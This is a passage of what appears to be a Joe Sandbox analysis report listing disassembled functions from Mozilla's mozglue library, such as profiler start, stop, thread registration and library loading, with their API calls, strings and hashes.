MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9F47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C9F4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9F4812
[I %d/%d] profiler_shutdown, xrefs: 6C9F4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9F4828

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 1cec9aae81acad4661d09a03a5b8f98c8038c6547dd04bbc1a0e5cb3b400b290
Instruction ID: c2dc247be522da2e21214784571d8dc389c880c7555f24c04bd7412654ac9dbc
Opcode Fuzzy Hash: 1cec9aae81acad4661d09a03a5b8f98c8038c6547dd04bbc1a0e5cb3b400b290
Instruction Fuzzy Hash: 2D81F770B042028FDB049F29DA4876A3775BF4272CF144229E92697F42E731D99BCF96

Function 6C9F4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9F44B2,6CA6E21C,6CA6F7F8), ref: 6C9F473E
Part of subcall function 6C9F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C9F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9F44D2
InitOnceExecuteOnce.KERNEL32(6CA6F80C,6C9EF240,?,?), ref: 6C9F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C9F455C
LoadLibraryW.KERNEL32(?), ref: 6C9F4592
InitializeCriticalSection.KERNEL32(6CA6F770), ref: 6C9F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9F45BB
InitOnceExecuteOnce.KERNEL32(6CA6F818,6C9EF240,?,?), ref: 6C9F4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C9F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C9F4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C9F466D
VerSetConditionMask.NTDLL ref: 6C9F469F
VerSetConditionMask.NTDLL ref: 6C9F46AB
VerSetConditionMask.NTDLL ref: 6C9F46B2
VerSetConditionMask.NTDLL ref: 6C9F46B9
VerSetConditionMask.NTDLL ref: 6C9F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9F46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C9F46F7
l, xrefs: 6C9F4578
kernel32.dll, xrefs: 6C9F44CD
WRusr.dll, xrefs: 6C9F44B5
user32.dll, xrefs: 6C9F4557, 6C9F463F

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 95162af1b8d02f2acdb51df8b6ab1cdb349d0129d2f5de3e17b7661415801e6b
Instruction ID: 596af48bcd61dfaf19583cde9d8d001ddfc411af03bb37d7db433a6c6c80969b
Opcode Fuzzy Hash: 95162af1b8d02f2acdb51df8b6ab1cdb349d0129d2f5de3e17b7661415801e6b
Instruction Fuzzy Hash: BD6101B0A04345AFEB059F66DD09BA97BB8FB46708F14C19CE5149BA41D7B0C987CFA0

Function 6CA2E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA27090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA2B9F1,?), ref: 6CA27107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA2DCF5), ref: 6CA2E92D
GetCurrentThreadId.KERNEL32 ref: 6CA2EA4F
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EA5C
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EA80
GetCurrentThreadId.KERNEL32 ref: 6CA2EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA2DCF5), ref: 6CA2EA92
GetCurrentThreadId.KERNEL32 ref: 6CA2EB11
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA2EB3C
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EB5B

Part of subcall function 6CA25710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA2EB71), ref: 6CA257AB

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA2EBAC

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

GetCurrentThreadId.KERNEL32 ref: 6CA2EBC1
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000), ref: 6CA2EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA2EBE5
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8,00000000), ref: 6CA2EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA2EC46
CloseHandle.KERNEL32(?), ref: 6CA2EC55
free.MOZGLUE(00000000), ref: 6CA2EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CA2EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA2EA9B

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 26f6459e6a5e4fa829dbbc915bd7192b4eb1ee3ab9bb06b39e2ddc90eec86fea
Instruction ID: b5a91348f9825e0c75136f3ef626c630ec26eef5acb48e90fc1d8333ae2c8f03
Opcode Fuzzy Hash: 26f6459e6a5e4fa829dbbc915bd7192b4eb1ee3ab9bb06b39e2ddc90eec86fea
Instruction Fuzzy Hash: 41A115317013158FCB049F6AD848BA677B5FF86309F18812DE91987F41DB3498CACBA1

Function 6CA2F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA2F8F9

Part of subcall function 6C9F6390: GetCurrentThreadId.KERNEL32 ref: 6C9F63D0
Part of subcall function 6C9F6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9F63DF
Part of subcall function 6C9F6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9F640E

ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2F93A
GetCurrentThreadId.KERNEL32 ref: 6CA2F98A
GetCurrentThreadId.KERNEL32 ref: 6CA2F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2F716

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

Part of subcall function 6C9EB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C9EB5E0

GetCurrentThreadId.KERNEL32 ref: 6CA2F739
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2F746
GetCurrentThreadId.KERNEL32 ref: 6CA2F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA6385B,00000002,?,?,?,?,?), ref: 6CA2F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA2F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA2F866
free.MOZGLUE(?), ref: 6CA2FA0C

Part of subcall function 6C9F5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9F55E1), ref: 6C9F5E8C
Part of subcall function 6C9F5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F5E9D
Part of subcall function 6C9F5E60: GetCurrentThreadId.KERNEL32 ref: 6C9F5EAB
Part of subcall function 6C9F5E60: GetCurrentThreadId.KERNEL32 ref: 6C9F5EB8
Part of subcall function 6C9F5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F5ECF
Part of subcall function 6C9F5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C9F5F27
Part of subcall function 6C9F5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C9F5F47
Part of subcall function 6C9F5E60: GetCurrentProcess.KERNEL32 ref: 6C9F5F53
Part of subcall function 6C9F5E60: GetCurrentThread.KERNEL32 ref: 6C9F5F5C
Part of subcall function 6C9F5E60: GetCurrentProcess.KERNEL32 ref: 6C9F5F66
Part of subcall function 6C9F5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C9F5F7E

free.MOZGLUE(?), ref: 6CA2F9C5
free.MOZGLUE(?), ref: 6CA2F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA2F9A6
Thread , xrefs: 6CA2F789
" attempted to re-register as ", xrefs: 6CA2F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA2F71F

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 852293162b399a0fc4b9c43aac5e70db9e74b6efb88896d881fdf33f43a812de
Instruction ID: 9e4a8de83e273d0c748fa6aff7ff0ed19133058b43822a56e372e15e0c0a58af
Opcode Fuzzy Hash: 852293162b399a0fc4b9c43aac5e70db9e74b6efb88896d881fdf33f43a812de
Instruction Fuzzy Hash: BC813971A043219FD700DF65C844BAAB7B5FF95308F48852DE4859BB51EB34D88ECBA2

Function 6CA2EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2EE60
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EE6D
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA2EEA5
CloseHandle.KERNEL32(?), ref: 6CA2EEB4
free.MOZGLUE(00000000), ref: 6CA2EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA2EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2EECF

Part of subcall function 6CA2DE60: GetCurrentThreadId.KERNEL32 ref: 6CA2DE73
Part of subcall function 6CA2DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C9F4A68), ref: 6CA2DE7B
Part of subcall function 6CA2DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C9F4A68), ref: 6CA2DEB8
Part of subcall function 6CA2DE60: free.MOZGLUE(00000000,?,6C9F4A68), ref: 6CA2DEFE
Part of subcall function 6CA2DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA2DF38

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA2EF1E
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EF2B
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EF59
GetCurrentThreadId.KERNEL32 ref: 6CA2EFB0
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EFBD
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA2EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2F000

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA2F02F

Part of subcall function 6CA2F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA2F09B
Part of subcall function 6CA2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA2F0AC
Part of subcall function 6CA2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA2F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CA2EED7
[I %d/%d] profiler_pause, xrefs: 6CA2F008

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: f5c29c774f5b6ec749a42e5af31835bfd86055bb45f7a5058f586a0e64dd7fbc
Instruction ID: d0933619d99f14235f2720dbb4c25f77226611dc0a3b7b08ffb06b73f415ed21
Opcode Fuzzy Hash: f5c29c774f5b6ec749a42e5af31835bfd86055bb45f7a5058f586a0e64dd7fbc
Instruction Fuzzy Hash: C951F3316093229FDB085B76E80C7B577B4EB46319F18861DE91583F80DB7848CAC7A2

Function 6C9F5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F5E9D

Part of subcall function 6CA05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA056EE,?,00000001), ref: 6CA05B85
Part of subcall function 6CA05B50: EnterCriticalSection.KERNEL32(6CA6F688,?,?,?,6CA056EE,?,00000001), ref: 6CA05B90
Part of subcall function 6CA05B50: LeaveCriticalSection.KERNEL32(6CA6F688,?,?,?,6CA056EE,?,00000001), ref: 6CA05BD8
Part of subcall function 6CA05B50: GetTickCount64.KERNEL32 ref: 6CA05BE4

GetCurrentThreadId.KERNEL32 ref: 6C9F5EAB
GetCurrentThreadId.KERNEL32 ref: 6C9F5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C9F6017

Part of subcall function 6C9E4310: moz_xmalloc.MOZGLUE(00000010,?,6C9E42D2), ref: 6C9E436A
Part of subcall function 6C9E4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9E42D2), ref: 6C9E4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C9F5F47
GetCurrentProcess.KERNEL32 ref: 6C9F5F53
GetCurrentThread.KERNEL32 ref: 6C9F5F5C
GetCurrentProcess.KERNEL32 ref: 6C9F5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C9F5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C9F5F27

Part of subcall function 6C9FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9FCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9F55E1), ref: 6C9F5E8C

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9F55E1), ref: 6C9F605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9F55E1), ref: 6C9F60CC

Strings

GeckoMain, xrefs: 6C9F5ECE, 6C9F6015

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bfafd8fff14201c43f668722dc2abe58ee92d993d802c87dd5bee5ba8c2f3a33
Instruction ID: 58ddcc35ca2a6833832ae3cc9f06b2736eef530594c7ecc162c7ec9cf59ed416
Opcode Fuzzy Hash: bfafd8fff14201c43f668722dc2abe58ee92d993d802c87dd5bee5ba8c2f3a33
Instruction Fuzzy Hash: 127103B0A05741CFD704DF29D580A6ABBF0FF5A308F14896DE49687B42D730E999CB92

Function 6C9F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C9E3217
Part of subcall function 6C9E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C9E3236
Part of subcall function 6C9E31C0: FreeLibrary.KERNEL32 ref: 6C9E324B
Part of subcall function 6C9E31C0: __Init_thread_footer.LIBCMT ref: 6C9E3260
Part of subcall function 6C9E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C9E327F
Part of subcall function 6C9E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9E328E
Part of subcall function 6C9E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9E32AB
Part of subcall function 6C9E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9E32D1
Part of subcall function 6C9E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9E32E5
Part of subcall function 6C9E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C9F9675
__Init_thread_footer.LIBCMT ref: 6C9F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C9F9707
__Init_thread_footer.LIBCMT ref: 6C9F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9F97B7
FreeLibrary.KERNEL32 ref: 6C9F97D0
FreeLibrary.KERNEL32 ref: 6C9F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9F9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C9F9670
ntdll.dll, xrefs: 6C9F96E3
NtMapViewOfSection, xrefs: 6C9F9701
MapViewOfFileNuma2, xrefs: 6C9F97B1

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 24ce83d348f497c2a8ec7aed02df8e0dc997502889171124d29296db92b4de1a
Instruction ID: c17fe12d2022db9256566fd86b9ac48b3c3a68596c3cf730368c9e5b6803d57a
Opcode Fuzzy Hash: 24ce83d348f497c2a8ec7aed02df8e0dc997502889171124d29296db92b4de1a
Instruction Fuzzy Hash: C061D5716043069FDF04CF6ADC84BAA7BB5FB4A718F05852DE92583B80E730D856CBA1

Function 6C9F7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C9F8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C9F801D

